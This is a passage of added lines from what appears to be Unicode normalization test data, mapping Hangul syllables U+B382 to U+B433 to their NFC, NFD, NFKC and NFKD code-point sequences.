+{ source: [0xB382], NFC: [0xB382], NFD: [0x1103, 0x1166, 0x11B9], NFKC: [0xB382], NFKD: [0x1103, 0x1166, 0x11B9] },
+{ source: [0xB383], NFC: [0xB383], NFD: [0x1103, 0x1166, 0x11BA], NFKC: [0xB383], NFKD: [0x1103, 0x1166, 0x11BA] },
+{ source: [0xB384], NFC: [0xB384], NFD: [0x1103, 0x1166, 0x11BB], NFKC: [0xB384], NFKD: [0x1103, 0x1166, 0x11BB] },
+{ source: [0xB385], NFC: [0xB385], NFD: [0x1103, 0x1166, 0x11BC], NFKC: [0xB385], NFKD: [0x1103, 0x1166, 0x11BC] },
+{ source: [0xB386], NFC: [0xB386], NFD: [0x1103, 0x1166, 0x11BD], NFKC: [0xB386], NFKD: [0x1103, 0x1166, 0x11BD] },
+{ source: [0xB387], NFC: [0xB387], NFD: [0x1103, 0x1166, 0x11BE], NFKC: [0xB387], NFKD: [0x1103, 0x1166, 0x11BE] },
+{ source: [0xB388], NFC: [0xB388], NFD: [0x1103, 0x1166, 0x11BF], NFKC: [0xB388], NFKD: [0x1103, 0x1166, 0x11BF] },
+{ source: [0xB389], NFC: [0xB389], NFD: [0x1103, 0x1166, 0x11C0], NFKC: [0xB389], NFKD: [0x1103, 0x1166, 0x11C0] },
+{ source: [0xB38A], NFC: [0xB38A], NFD: [0x1103, 0x1166, 0x11C1], NFKC: [0xB38A], NFKD: [0x1103, 0x1166, 0x11C1] },
+{ source: [0xB38B], NFC: [0xB38B], NFD: [0x1103, 0x1166, 0x11C2], NFKC: [0xB38B], NFKD: [0x1103, 0x1166, 0x11C2] },
+{ source: [0xB38C], NFC: [0xB38C], NFD: [0x1103, 0x1167], NFKC: [0xB38C], NFKD: [0x1103, 0x1167] },
+{ source: [0xB38D], NFC: [0xB38D], NFD: [0x1103, 0x1167, 0x11A8], NFKC: [0xB38D], NFKD: [0x1103, 0x1167, 0x11A8] },
+{ source: [0xB38E], NFC: [0xB38E], NFD: [0x1103, 0x1167, 0x11A9], NFKC: [0xB38E], NFKD: [0x1103, 0x1167, 0x11A9] },
+{ source: [0xB38F], NFC: [0xB38F], NFD: [0x1103, 0x1167, 0x11AA], NFKC: [0xB38F], NFKD: [0x1103, 0x1167, 0x11AA] },
+{ source: [0xB390], NFC: [0xB390], NFD: [0x1103, 0x1167, 0x11AB], NFKC: [0xB390], NFKD: [0x1103, 0x1167, 0x11AB] },
+{ source: [0xB391], NFC: [0xB391], NFD: [0x1103, 0x1167, 0x11AC], NFKC: [0xB391], NFKD: [0x1103, 0x1167, 0x11AC] },
+{ source: [0xB392], NFC: [0xB392], NFD: [0x1103, 0x1167, 0x11AD], NFKC: [0xB392], NFKD: [0x1103, 0x1167, 0x11AD] },
+{ source: [0xB393], NFC: [0xB393], NFD: [0x1103, 0x1167, 0x11AE], NFKC: [0xB393], NFKD: [0x1103, 0x1167, 0x11AE] },
+{ source: [0xB394], NFC: [0xB394], NFD: [0x1103, 0x1167, 0x11AF], NFKC: [0xB394], NFKD: [0x1103, 0x1167, 0x11AF] },
+{ source: [0xB395], NFC: [0xB395], NFD: [0x1103, 0x1167, 0x11B0], NFKC: [0xB395], NFKD: [0x1103, 0x1167, 0x11B0] },
+{ source: [0xB396], NFC: [0xB396], NFD: [0x1103, 0x1167, 0x11B1], NFKC: [0xB396], NFKD: [0x1103, 0x1167, 0x11B1] },
+{ source: [0xB397], NFC: [0xB397], NFD: [0x1103, 0x1167, 0x11B2], NFKC: [0xB397], NFKD: [0x1103, 0x1167, 0x11B2] },
+{ source: [0xB398], NFC: [0xB398], NFD: [0x1103, 0x1167, 0x11B3], NFKC: [0xB398], NFKD: [0x1103, 0x1167, 0x11B3] },
+{ source: [0xB399], NFC: [0xB399], NFD: [0x1103, 0x1167, 0x11B4], NFKC: [0xB399], NFKD: [0x1103, 0x1167, 0x11B4] },
+{ source: [0xB39A], NFC: [0xB39A], NFD: [0x1103, 0x1167, 0x11B5], NFKC: [0xB39A], NFKD: [0x1103, 0x1167, 0x11B5] },
+{ source: [0xB39B], NFC: [0xB39B], NFD: [0x1103, 0x1167, 0x11B6], NFKC: [0xB39B], NFKD: [0x1103, 0x1167, 0x11B6] },
+{ source: [0xB39C], NFC: [0xB39C], NFD: [0x1103, 0x1167, 0x11B7], NFKC: [0xB39C], NFKD: [0x1103, 0x1167, 0x11B7] },
+{ source: [0xB39D], NFC: [0xB39D], NFD: [0x1103, 0x1167, 0x11B8], NFKC: [0xB39D], NFKD: [0x1103, 0x1167, 0x11B8] },
+{ source: [0xB39E], NFC: [0xB39E], NFD: [0x1103, 0x1167, 0x11B9], NFKC: [0xB39E], NFKD: [0x1103, 0x1167, 0x11B9] },
+{ source: [0xB39F], NFC: [0xB39F], NFD: [0x1103, 0x1167, 0x11BA], NFKC: [0xB39F], NFKD: [0x1103, 0x1167, 0x11BA] },
+{ source: [0xB3A0], NFC: [0xB3A0], NFD: [0x1103, 0x1167, 0x11BB], NFKC: [0xB3A0], NFKD: [0x1103, 0x1167, 0x11BB] },
+{ source: [0xB3A1], NFC: [0xB3A1], NFD: [0x1103, 0x1167, 0x11BC], NFKC: [0xB3A1], NFKD: [0x1103, 0x1167, 0x11BC] },
+{ source: [0xB3A2], NFC: [0xB3A2], NFD: [0x1103, 0x1167, 0x11BD], NFKC: [0xB3A2], NFKD: [0x1103, 0x1167, 0x11BD] },
+{ source: [0xB3A3], NFC: [0xB3A3], NFD: [0x1103, 0x1167, 0x11BE], NFKC: [0xB3A3], NFKD: [0x1103, 0x1167, 0x11BE] },
+{ source: [0xB3A4], NFC: [0xB3A4], NFD: [0x1103, 0x1167, 0x11BF], NFKC: [0xB3A4], NFKD: [0x1103, 0x1167, 0x11BF] },
+{ source: [0xB3A5], NFC: [0xB3A5], NFD: [0x1103, 0x1167, 0x11C0], NFKC: [0xB3A5], NFKD: [0x1103, 0x1167, 0x11C0] },
+{ source: [0xB3A6], NFC: [0xB3A6], NFD: [0x1103, 0x1167, 0x11C1], NFKC: [0xB3A6], NFKD: [0x1103, 0x1167, 0x11C1] },
+{ source: [0xB3A7], NFC: [0xB3A7], NFD: [0x1103, 0x1167, 0x11C2], NFKC: [0xB3A7], NFKD: [0x1103, 0x1167, 0x11C2] },
+{ source: [0xB3A8], NFC: [0xB3A8], NFD: [0x1103, 0x1168], NFKC: [0xB3A8], NFKD: [0x1103, 0x1168] },
+{ source: [0xB3A9], NFC: [0xB3A9], NFD: [0x1103, 0x1168, 0x11A8], NFKC: [0xB3A9], NFKD: [0x1103, 0x1168, 0x11A8] },
+{ source: [0xB3AA], NFC: [0xB3AA], NFD: [0x1103, 0x1168, 0x11A9], NFKC: [0xB3AA], NFKD: [0x1103, 0x1168, 0x11A9] },
+{ source: [0xB3AB], NFC: [0xB3AB], NFD: [0x1103, 0x1168, 0x11AA], NFKC: [0xB3AB], NFKD: [0x1103, 0x1168, 0x11AA] },
+{ source: [0xB3AC], NFC: [0xB3AC], NFD: [0x1103, 0x1168, 0x11AB], NFKC: [0xB3AC], NFKD: [0x1103, 0x1168, 0x11AB] },
+{ source: [0xB3AD], NFC: [0xB3AD], NFD: [0x1103, 0x1168, 0x11AC], NFKC: [0xB3AD], NFKD: [0x1103, 0x1168, 0x11AC] },
+{ source: [0xB3AE], NFC: [0xB3AE], NFD: [0x1103, 0x1168, 0x11AD], NFKC: [0xB3AE], NFKD: [0x1103, 0x1168, 0x11AD] },
+{ source: [0xB3AF], NFC: [0xB3AF], NFD: [0x1103, 0x1168, 0x11AE], NFKC: [0xB3AF], NFKD: [0x1103, 0x1168, 0x11AE] },
+{ source: [0xB3B0], NFC: [0xB3B0], NFD: [0x1103, 0x1168, 0x11AF], NFKC: [0xB3B0], NFKD: [0x1103, 0x1168, 0x11AF] },
+{ source: [0xB3B1], NFC: [0xB3B1], NFD: [0x1103, 0x1168, 0x11B0], NFKC: [0xB3B1], NFKD: [0x1103, 0x1168, 0x11B0] },
+{ source: [0xB3B2], NFC: [0xB3B2], NFD: [0x1103, 0x1168, 0x11B1], NFKC: [0xB3B2], NFKD: [0x1103, 0x1168, 0x11B1] },
+{ source: [0xB3B3], NFC: [0xB3B3], NFD: [0x1103, 0x1168, 0x11B2], NFKC: [0xB3B3], NFKD: [0x1103, 0x1168, 0x11B2] },
+{ source: [0xB3B4], NFC: [0xB3B4], NFD: [0x1103, 0x1168, 0x11B3], NFKC: [0xB3B4], NFKD: [0x1103, 0x1168, 0x11B3] },
+{ source: [0xB3B5], NFC: [0xB3B5], NFD: [0x1103, 0x1168, 0x11B4], NFKC: [0xB3B5], NFKD: [0x1103, 0x1168, 0x11B4] },
+{ source: [0xB3B6], NFC: [0xB3B6], NFD: [0x1103, 0x1168, 0x11B5], NFKC: [0xB3B6], NFKD: [0x1103, 0x1168, 0x11B5] },
+{ source: [0xB3B7], NFC: [0xB3B7], NFD: [0x1103, 0x1168, 0x11B6], NFKC: [0xB3B7], NFKD: [0x1103, 0x1168, 0x11B6] },
+{ source: [0xB3B8], NFC: [0xB3B8], NFD: [0x1103, 0x1168, 0x11B7], NFKC: [0xB3B8], NFKD: [0x1103, 0x1168, 0x11B7] },
+{ source: [0xB3B9], NFC: [0xB3B9], NFD: [0x1103, 0x1168, 0x11B8], NFKC: [0xB3B9], NFKD: [0x1103, 0x1168, 0x11B8] },
+{ source: [0xB3BA], NFC: [0xB3BA], NFD: [0x1103, 0x1168, 0x11B9], NFKC: [0xB3BA], NFKD: [0x1103, 0x1168, 0x11B9] },
+{ source: [0xB3BB], NFC: [0xB3BB], NFD: [0x1103, 0x1168, 0x11BA], NFKC: [0xB3BB], NFKD: [0x1103, 0x1168, 0x11BA] },
+{ source: [0xB3BC], NFC: [0xB3BC], NFD: [0x1103, 0x1168, 0x11BB], NFKC: [0xB3BC], NFKD: [0x1103, 0x1168, 0x11BB] },
+{ source: [0xB3BD], NFC: [0xB3BD], NFD: [0x1103, 0x1168, 0x11BC], NFKC: [0xB3BD], NFKD: [0x1103, 0x1168, 0x11BC] },
+{ source: [0xB3BE], NFC: [0xB3BE], NFD: [0x1103, 0x1168, 0x11BD], NFKC: [0xB3BE], NFKD: [0x1103, 0x1168, 0x11BD] },
+{ source: [0xB3BF], NFC: [0xB3BF], NFD: [0x1103, 0x1168, 0x11BE], NFKC: [0xB3BF], NFKD: [0x1103, 0x1168, 0x11BE] },
+{ source: [0xB3C0], NFC: [0xB3C0], NFD: [0x1103, 0x1168, 0x11BF], NFKC: [0xB3C0], NFKD: [0x1103, 0x1168, 0x11BF] },
+{ source: [0xB3C1], NFC: [0xB3C1], NFD: [0x1103, 0x1168, 0x11C0], NFKC: [0xB3C1], NFKD: [0x1103, 0x1168, 0x11C0] },
+{ source: [0xB3C2], NFC: [0xB3C2], NFD: [0x1103, 0x1168, 0x11C1], NFKC: [0xB3C2], NFKD: [0x1103, 0x1168, 0x11C1] },
+{ source: [0xB3C3], NFC: [0xB3C3], NFD: [0x1103, 0x1168, 0x11C2], NFKC: [0xB3C3], NFKD: [0x1103, 0x1168, 0x11C2] },
+{ source: [0xB3C4], NFC: [0xB3C4], NFD: [0x1103, 0x1169], NFKC: [0xB3C4], NFKD: [0x1103, 0x1169] },
+{ source: [0xB3C5], NFC: [0xB3C5], NFD: [0x1103, 0x1169, 0x11A8], NFKC: [0xB3C5], NFKD: [0x1103, 0x1169, 0x11A8] },
+{ source: [0xB3C6], NFC: [0xB3C6], NFD: [0x1103, 0x1169, 0x11A9], NFKC: [0xB3C6], NFKD: [0x1103, 0x1169, 0x11A9] },
+{ source: [0xB3C7], NFC: [0xB3C7], NFD: [0x1103, 0x1169, 0x11AA], NFKC: [0xB3C7], NFKD: [0x1103, 0x1169, 0x11AA] },
+{ source: [0xB3C8], NFC: [0xB3C8], NFD: [0x1103, 0x1169, 0x11AB], NFKC: [0xB3C8], NFKD: [0x1103, 0x1169, 0x11AB] },
+{ source: [0xB3C9], NFC: [0xB3C9], NFD: [0x1103, 0x1169, 0x11AC], NFKC: [0xB3C9], NFKD: [0x1103, 0x1169, 0x11AC] },
+{ source: [0xB3CA], NFC: [0xB3CA], NFD: [0x1103, 0x1169, 0x11AD], NFKC: [0xB3CA], NFKD: [0x1103, 0x1169, 0x11AD] },
+{ source: [0xB3CB], NFC: [0xB3CB], NFD: [0x1103, 0x1169, 0x11AE], NFKC: [0xB3CB], NFKD: [0x1103, 0x1169, 0x11AE] },
+{ source: [0xB3CC], NFC: [0xB3CC], NFD: [0x1103, 0x1169, 0x11AF], NFKC: [0xB3CC], NFKD: [0x1103, 0x1169, 0x11AF] },
+{ source: [0xB3CD], NFC: [0xB3CD], NFD: [0x1103, 0x1169, 0x11B0], NFKC: [0xB3CD], NFKD: [0x1103, 0x1169, 0x11B0] },
+{ source: [0xB3CE], NFC: [0xB3CE], NFD: [0x1103, 0x1169, 0x11B1], NFKC: [0xB3CE], NFKD: [0x1103, 0x1169, 0x11B1] },
+{ source: [0xB3CF], NFC: [0xB3CF], NFD: [0x1103, 0x1169, 0x11B2], NFKC: [0xB3CF], NFKD: [0x1103, 0x1169, 0x11B2] },
+{ source: [0xB3D0], NFC: [0xB3D0], NFD: [0x1103, 0x1169, 0x11B3], NFKC: [0xB3D0], NFKD: [0x1103, 0x1169, 0x11B3] },
+{ source: [0xB3D1], NFC: [0xB3D1], NFD: [0x1103, 0x1169, 0x11B4], NFKC: [0xB3D1], NFKD: [0x1103, 0x1169, 0x11B4] },
+{ source: [0xB3D2], NFC: [0xB3D2], NFD: [0x1103, 0x1169, 0x11B5], NFKC: [0xB3D2], NFKD: [0x1103, 0x1169, 0x11B5] },
+{ source: [0xB3D3], NFC: [0xB3D3], NFD: [0x1103, 0x1169, 0x11B6], NFKC: [0xB3D3], NFKD: [0x1103, 0x1169, 0x11B6] },
+{ source: [0xB3D4], NFC: [0xB3D4], NFD: [0x1103, 0x1169, 0x11B7], NFKC: [0xB3D4], NFKD: [0x1103, 0x1169, 0x11B7] },
+{ source: [0xB3D5], NFC: [0xB3D5], NFD: [0x1103, 0x1169, 0x11B8], NFKC: [0xB3D5], NFKD: [0x1103, 0x1169, 0x11B8] },
+{ source: [0xB3D6], NFC: [0xB3D6], NFD: [0x1103, 0x1169, 0x11B9], NFKC: [0xB3D6], NFKD: [0x1103, 0x1169, 0x11B9] },
+{ source: [0xB3D7], NFC: [0xB3D7], NFD: [0x1103, 0x1169, 0x11BA], NFKC: [0xB3D7], NFKD: [0x1103, 0x1169, 0x11BA] },
+{ source: [0xB3D8], NFC: [0xB3D8], NFD: [0x1103, 0x1169, 0x11BB], NFKC: [0xB3D8], NFKD: [0x1103, 0x1169, 0x11BB] },
+{ source: [0xB3D9], NFC: [0xB3D9], NFD: [0x1103, 0x1169, 0x11BC], NFKC: [0xB3D9], NFKD: [0x1103, 0x1169, 0x11BC] },
+{ source: [0xB3DA], NFC: [0xB3DA], NFD: [0x1103, 0x1169, 0x11BD], NFKC: [0xB3DA], NFKD: [0x1103, 0x1169, 0x11BD] },
+{ source: [0xB3DB], NFC: [0xB3DB], NFD: [0x1103, 0x1169, 0x11BE], NFKC: [0xB3DB], NFKD: [0x1103, 0x1169, 0x11BE] },
+{ source: [0xB3DC], NFC: [0xB3DC], NFD: [0x1103, 0x1169, 0x11BF], NFKC: [0xB3DC], NFKD: [0x1103, 0x1169, 0x11BF] },
+{ source: [0xB3DD], NFC: [0xB3DD], NFD: [0x1103, 0x1169, 0x11C0], NFKC: [0xB3DD], NFKD: [0x1103, 0x1169, 0x11C0] },
+{ source: [0xB3DE], NFC: [0xB3DE], NFD: [0x1103, 0x1169, 0x11C1], NFKC: [0xB3DE], NFKD: [0x1103, 0x1169, 0x11C1] },
+{ source: [0xB3DF], NFC: [0xB3DF], NFD: [0x1103, 0x1169, 0x11C2], NFKC: [0xB3DF], NFKD: [0x1103, 0x1169, 0x11C2] },
+{ source: [0xB3E0], NFC: [0xB3E0], NFD: [0x1103, 0x116A], NFKC: [0xB3E0], NFKD: [0x1103, 0x116A] },
+{ source: [0xB3E1], NFC: [0xB3E1], NFD: [0x1103, 0x116A, 0x11A8], NFKC: [0xB3E1], NFKD: [0x1103, 0x116A, 0x11A8] },
+{ source: [0xB3E2], NFC: [0xB3E2], NFD: [0x1103, 0x116A, 0x11A9], NFKC: [0xB3E2], NFKD: [0x1103, 0x116A, 0x11A9] },
+{ source: [0xB3E3], NFC: [0xB3E3], NFD: [0x1103, 0x116A, 0x11AA], NFKC: [0xB3E3], NFKD: [0x1103, 0x116A, 0x11AA] },
+{ source: [0xB3E4], NFC: [0xB3E4], NFD: [0x1103, 0x116A, 0x11AB], NFKC: [0xB3E4], NFKD: [0x1103, 0x116A, 0x11AB] },
+{ source: [0xB3E5], NFC: [0xB3E5], NFD: [0x1103, 0x116A, 0x11AC], NFKC: [0xB3E5], NFKD: [0x1103, 0x116A, 0x11AC] },
+{ source: [0xB3E6], NFC: [0xB3E6], NFD: [0x1103, 0x116A, 0x11AD], NFKC: [0xB3E6], NFKD: [0x1103, 0x116A, 0x11AD] },
+{ source: [0xB3E7], NFC: [0xB3E7], NFD: [0x1103, 0x116A, 0x11AE], NFKC: [0xB3E7], NFKD: [0x1103, 0x116A, 0x11AE] },
+{ source: [0xB3E8], NFC: [0xB3E8], NFD: [0x1103, 0x116A, 0x11AF], NFKC: [0xB3E8], NFKD: [0x1103, 0x116A, 0x11AF] },
+{ source: [0xB3E9], NFC: [0xB3E9], NFD: [0x1103, 0x116A, 0x11B0], NFKC: [0xB3E9], NFKD: [0x1103, 0x116A, 0x11B0] },
+{ source: [0xB3EA], NFC: [0xB3EA], NFD: [0x1103, 0x116A, 0x11B1], NFKC: [0xB3EA], NFKD: [0x1103, 0x116A, 0x11B1] },
+{ source: [0xB3EB], NFC: [0xB3EB], NFD: [0x1103, 0x116A, 0x11B2], NFKC: [0xB3EB], NFKD: [0x1103, 0x116A, 0x11B2] },
+{ source: [0xB3EC], NFC: [0xB3EC], NFD: [0x1103, 0x116A, 0x11B3], NFKC: [0xB3EC], NFKD: [0x1103, 0x116A, 0x11B3] },
+{ source: [0xB3ED], NFC: [0xB3ED], NFD: [0x1103, 0x116A, 0x11B4], NFKC: [0xB3ED], NFKD: [0x1103, 0x116A, 0x11B4] },
+{ source: [0xB3EE], NFC: [0xB3EE], NFD: [0x1103, 0x116A, 0x11B5], NFKC: [0xB3EE], NFKD: [0x1103, 0x116A, 0x11B5] },
+{ source: [0xB3EF], NFC: [0xB3EF], NFD: [0x1103, 0x116A, 0x11B6], NFKC: [0xB3EF], NFKD: [0x1103, 0x116A, 0x11B6] },
+{ source: [0xB3F0], NFC: [0xB3F0], NFD: [0x1103, 0x116A, 0x11B7], NFKC: [0xB3F0], NFKD: [0x1103, 0x116A, 0x11B7] },
+{ source: [0xB3F1], NFC: [0xB3F1], NFD: [0x1103, 0x116A, 0x11B8], NFKC: [0xB3F1], NFKD: [0x1103, 0x116A, 0x11B8] },
+{ source: [0xB3F2], NFC: [0xB3F2], NFD: [0x1103, 0x116A, 0x11B9], NFKC: [0xB3F2], NFKD: [0x1103, 0x116A, 0x11B9] },
+{ source: [0xB3F3], NFC: [0xB3F3], NFD: [0x1103, 0x116A, 0x11BA], NFKC: [0xB3F3], NFKD: [0x1103, 0x116A, 0x11BA] },
+{ source: [0xB3F4], NFC: [0xB3F4], NFD: [0x1103, 0x116A, 0x11BB], NFKC: [0xB3F4], NFKD: [0x1103, 0x116A, 0x11BB] },
+{ source: [0xB3F5], NFC: [0xB3F5], NFD: [0x1103, 0x116A, 0x11BC], NFKC: [0xB3F5], NFKD: [0x1103, 0x116A, 0x11BC] },
+{ source: [0xB3F6], NFC: [0xB3F6], NFD: [0x1103, 0x116A, 0x11BD], NFKC: [0xB3F6], NFKD: [0x1103, 0x116A, 0x11BD] },
+{ source: [0xB3F7], NFC: [0xB3F7], NFD: [0x1103, 0x116A, 0x11BE], NFKC: [0xB3F7], NFKD: [0x1103, 0x116A, 0x11BE] },
+{ source: [0xB3F8], NFC: [0xB3F8], NFD: [0x1103, 0x116A, 0x11BF], NFKC: [0xB3F8], NFKD: [0x1103, 0x116A, 0x11BF] },
+{ source: [0xB3F9], NFC: [0xB3F9], NFD: [0x1103, 0x116A, 0x11C0], NFKC: [0xB3F9], NFKD: [0x1103, 0x116A, 0x11C0] },
+{ source: [0xB3FA], NFC: [0xB3FA], NFD: [0x1103, 0x116A, 0x11C1], NFKC: [0xB3FA], NFKD: [0x1103, 0x116A, 0x11C1] },
+{ source: [0xB3FB], NFC: [0xB3FB], NFD: [0x1103, 0x116A, 0x11C2], NFKC: [0xB3FB], NFKD: [0x1103, 0x116A, 0x11C2] },
+{ source: [0xB3FC], NFC: [0xB3FC], NFD: [0x1103, 0x116B], NFKC: [0xB3FC], NFKD: [0x1103, 0x116B] },
+{ source: [0xB3FD], NFC: [0xB3FD], NFD: [0x1103, 0x116B, 0x11A8], NFKC: [0xB3FD], NFKD: [0x1103, 0x116B, 0x11A8] },
+{ source: [0xB3FE], NFC: [0xB3FE], NFD: [0x1103, 0x116B, 0x11A9], NFKC: [0xB3FE], NFKD: [0x1103, 0x116B, 0x11A9] },
+{ source: [0xB3FF], NFC: [0xB3FF], NFD: [0x1103, 0x116B, 0x11AA], NFKC: [0xB3FF], NFKD: [0x1103, 0x116B, 0x11AA] },
+{ source: [0xB400], NFC: [0xB400], NFD: [0x1103, 0x116B, 0x11AB], NFKC: [0xB400], NFKD: [0x1103, 0x116B, 0x11AB] },
+{ source: [0xB401], NFC: [0xB401], NFD: [0x1103, 0x116B, 0x11AC], NFKC: [0xB401], NFKD: [0x1103, 0x116B, 0x11AC] },
+{ source: [0xB402], NFC: [0xB402], NFD: [0x1103, 0x116B, 0x11AD], NFKC: [0xB402], NFKD: [0x1103, 0x116B, 0x11AD] },
+{ source: [0xB403], NFC: [0xB403], NFD: [0x1103, 0x116B, 0x11AE], NFKC: [0xB403], NFKD: [0x1103, 0x116B, 0x11AE] },
+{ source: [0xB404], NFC: [0xB404], NFD: [0x1103, 0x116B, 0x11AF], NFKC: [0xB404], NFKD: [0x1103, 0x116B, 0x11AF] },
+{ source: [0xB405], NFC: [0xB405], NFD: [0x1103, 0x116B, 0x11B0], NFKC: [0xB405], NFKD: [0x1103, 0x116B, 0x11B0] },
+{ source: [0xB406], NFC: [0xB406], NFD: [0x1103, 0x116B, 0x11B1], NFKC: [0xB406], NFKD: [0x1103, 0x116B, 0x11B1] },
+{ source: [0xB407], NFC: [0xB407], NFD: [0x1103, 0x116B, 0x11B2], NFKC: [0xB407], NFKD: [0x1103, 0x116B, 0x11B2] },
+{ source: [0xB408], NFC: [0xB408], NFD: [0x1103, 0x116B, 0x11B3], NFKC: [0xB408], NFKD: [0x1103, 0x116B, 0x11B3] },
+{ source: [0xB409], NFC: [0xB409], NFD: [0x1103, 0x116B, 0x11B4], NFKC: [0xB409], NFKD: [0x1103, 0x116B, 0x11B4] },
+{ source: [0xB40A], NFC: [0xB40A], NFD: [0x1103, 0x116B, 0x11B5], NFKC: [0xB40A], NFKD: [0x1103, 0x116B, 0x11B5] },
+{ source: [0xB40B], NFC: [0xB40B], NFD: [0x1103, 0x116B, 0x11B6], NFKC: [0xB40B], NFKD: [0x1103, 0x116B, 0x11B6] },
+{ source: [0xB40C], NFC: [0xB40C], NFD: [0x1103, 0x116B, 0x11B7], NFKC: [0xB40C], NFKD: [0x1103, 0x116B, 0x11B7] },
+{ source: [0xB40D], NFC: [0xB40D], NFD: [0x1103, 0x116B, 0x11B8], NFKC: [0xB40D], NFKD: [0x1103, 0x116B, 0x11B8] },
+{ source: [0xB40E], NFC: [0xB40E], NFD: [0x1103, 0x116B, 0x11B9], NFKC: [0xB40E], NFKD: [0x1103, 0x116B, 0x11B9] },
+{ source: [0xB40F], NFC: [0xB40F], NFD: [0x1103, 0x116B, 0x11BA], NFKC: [0xB40F], NFKD: [0x1103, 0x116B, 0x11BA] },
+{ source: [0xB410], NFC: [0xB410], NFD: [0x1103, 0x116B, 0x11BB], NFKC: [0xB410], NFKD: [0x1103, 0x116B, 0x11BB] },
+{ source: [0xB411], NFC: [0xB411], NFD: [0x1103, 0x116B, 0x11BC], NFKC: [0xB411], NFKD: [0x1103, 0x116B, 0x11BC] },
+{ source: [0xB412], NFC: [0xB412], NFD: [0x1103, 0x116B, 0x11BD], NFKC: [0xB412], NFKD: [0x1103, 0x116B, 0x11BD] },
+{ source: [0xB413], NFC: [0xB413], NFD: [0x1103, 0x116B, 0x11BE], NFKC: [0xB413], NFKD: [0x1103, 0x116B, 0x11BE] },
+{ source: [0xB414], NFC: [0xB414], NFD: [0x1103, 0x116B, 0x11BF], NFKC: [0xB414], NFKD: [0x1103, 0x116B, 0x11BF] },
+{ source: [0xB415], NFC: [0xB415], NFD: [0x1103, 0x116B, 0x11C0], NFKC: [0xB415], NFKD: [0x1103, 0x116B, 0x11C0] },
+{ source: [0xB416], NFC: [0xB416], NFD: [0x1103, 0x116B, 0x11C1], NFKC: [0xB416], NFKD: [0x1103, 0x116B, 0x11C1] },
+{ source: [0xB417], NFC: [0xB417], NFD: [0x1103, 0x116B, 0x11C2], NFKC: [0xB417], NFKD: [0x1103, 0x116B, 0x11C2] },
+{ source: [0xB418], NFC: [0xB418], NFD: [0x1103, 0x116C], NFKC: [0xB418], NFKD: [0x1103, 0x116C] },
+{ source: [0xB419], NFC: [0xB419], NFD: [0x1103, 0x116C, 0x11A8], NFKC: [0xB419], NFKD: [0x1103, 0x116C, 0x11A8] },
+{ source: [0xB41A], NFC: [0xB41A], NFD: [0x1103, 0x116C, 0x11A9], NFKC: [0xB41A], NFKD: [0x1103, 0x116C, 0x11A9] },
+{ source: [0xB41B], NFC: [0xB41B], NFD: [0x1103, 0x116C, 0x11AA], NFKC: [0xB41B], NFKD: [0x1103, 0x116C, 0x11AA] },
+{ source: [0xB41C], NFC: [0xB41C], NFD: [0x1103, 0x116C, 0x11AB], NFKC: [0xB41C], NFKD: [0x1103, 0x116C, 0x11AB] },
+{ source: [0xB41D], NFC: [0xB41D], NFD: [0x1103, 0x116C, 0x11AC], NFKC: [0xB41D], NFKD: [0x1103, 0x116C, 0x11AC] },
+{ source: [0xB41E], NFC: [0xB41E], NFD: [0x1103, 0x116C, 0x11AD], NFKC: [0xB41E], NFKD: [0x1103, 0x116C, 0x11AD] },
+{ source: [0xB41F], NFC: [0xB41F], NFD: [0x1103, 0x116C, 0x11AE], NFKC: [0xB41F], NFKD: [0x1103, 0x116C, 0x11AE] },
+{ source: [0xB420], NFC: [0xB420], NFD: [0x1103, 0x116C, 0x11AF], NFKC: [0xB420], NFKD: [0x1103, 0x116C, 0x11AF] },
+{ source: [0xB421], NFC: [0xB421], NFD: [0x1103, 0x116C, 0x11B0], NFKC: [0xB421], NFKD: [0x1103, 0x116C, 0x11B0] },
+{ source: [0xB422], NFC: [0xB422], NFD: [0x1103, 0x116C, 0x11B1], NFKC: [0xB422], NFKD: [0x1103, 0x116C, 0x11B1] },
+{ source: [0xB423], NFC: [0xB423], NFD: [0x1103, 0x116C, 0x11B2], NFKC: [0xB423], NFKD: [0x1103, 0x116C, 0x11B2] },
+{ source: [0xB424], NFC: [0xB424], NFD: [0x1103, 0x116C, 0x11B3], NFKC: [0xB424], NFKD: [0x1103, 0x116C, 0x11B3] },
+{ source: [0xB425], NFC: [0xB425], NFD: [0x1103, 0x116C, 0x11B4], NFKC: [0xB425], NFKD: [0x1103, 0x116C, 0x11B4] },
+{ source: [0xB426], NFC: [0xB426], NFD: [0x1103, 0x116C, 0x11B5], NFKC: [0xB426], NFKD: [0x1103, 0x116C, 0x11B5] },
+{ source: [0xB427], NFC: [0xB427], NFD: [0x1103, 0x116C, 0x11B6], NFKC: [0xB427], NFKD: [0x1103, 0x116C, 0x11B6] },
+{ source: [0xB428], NFC: [0xB428], NFD: [0x1103, 0x116C, 0x11B7], NFKC: [0xB428], NFKD: [0x1103, 0x116C, 0x11B7] },
+{ source: [0xB429], NFC: [0xB429], NFD: [0x1103, 0x116C, 0x11B8], NFKC: [0xB429], NFKD: [0x1103, 0x116C, 0x11B8] },
+{ source: [0xB42A], NFC: [0xB42A], NFD: [0x1103, 0x116C, 0x11B9], NFKC: [0xB42A], NFKD: [0x1103, 0x116C, 0x11B9] },
+{ source: [0xB42B], NFC: [0xB42B], NFD: [0x1103, 0x116C, 0x11BA], NFKC: [0xB42B], NFKD: [0x1103, 0x116C, 0x11BA] },
+{ source: [0xB42C], NFC: [0xB42C], NFD: [0x1103, 0x116C, 0x11BB], NFKC: [0xB42C], NFKD: [0x1103, 0x116C, 0x11BB] },
+{ source: [0xB42D], NFC: [0xB42D], NFD: [0x1103, 0x116C, 0x11BC], NFKC: [0xB42D], NFKD: [0x1103, 0x116C, 0x11BC] },
+{ source: [0xB42E], NFC: [0xB42E], NFD: [0x1103, 0x116C, 0x11BD], NFKC: [0xB42E], NFKD: [0x1103, 0x116C, 0x11BD] },
+{ source: [0xB42F], NFC: [0xB42F], NFD: [0x1103, 0x116C, 0x11BE], NFKC: [0xB42F], NFKD: [0x1103, 0x116C, 0x11BE] },
+{ source: [0xB430], NFC: [0xB430], NFD: [0x1103, 0x116C, 0x11BF], NFKC: [0xB430], NFKD: [0x1103, 0x116C, 0x11BF] },
+{ source: [0xB431], NFC: [0xB431], NFD: [0x1103, 0x116C, 0x11C0], NFKC: [0xB431], NFKD: [0x1103, 0x116C, 0x11C0] },
+{ source: [0xB432], NFC: [0xB432], NFD: [0x1103, 0x116C, 0x11C1], NFKC: [0xB432], NFKD: [0x1103, 0x116C, 0x11C1] },
+{ source: [0xB433], NFC: [0xB433], NFD: [0x1103, 0x116C, 0x11C2], NFKC: [0xB433], NFKD: [0x1103, 0x116C, 0x11C2] },
